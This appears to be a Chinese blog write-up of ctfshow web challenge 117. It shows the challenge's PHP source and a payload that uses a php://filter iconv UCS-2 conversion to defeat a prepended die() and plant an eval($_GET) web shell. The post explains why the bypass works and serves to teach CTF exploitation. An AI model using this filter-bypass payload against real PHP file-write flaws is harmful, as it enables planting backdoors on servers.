ctfshow-web入门117(绕过exit头部限制)

源码如下:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

这道题可以参考p牛的文章:谈一谈php://filter的妙用

方法和p牛的一样,只是这道题过滤了rot13,base64,string等一些过滤器的内容,那换其他过滤器不就完事了。php://filter的各种过滤器。这里我们用convert.iconv.*这个过滤器。

payload:

GET: ?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php

POST: contents=?<hp pvela$(G_TE'['a)] ;>?

在这里插入图片描述
我们看看这段代码为啥能绕过exit
在这里插入图片描述

<?php
highlight_file(__FILE__);
file_put_contents("php://filter/convert.iconv.ucs-2be.ucs-2le/resource=5.php"
, "<?php die();?>?<hp pvela$(G_TE'['a)] ;>?"); 
?>

再看看创建的5.php
在这里插入图片描述

?<hp pid(e;)>?<?php eval($_GET['a']); ?>

前面的die()被编码后不符合php格式,被当做字符串,而我们传的代码编码后正常了。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值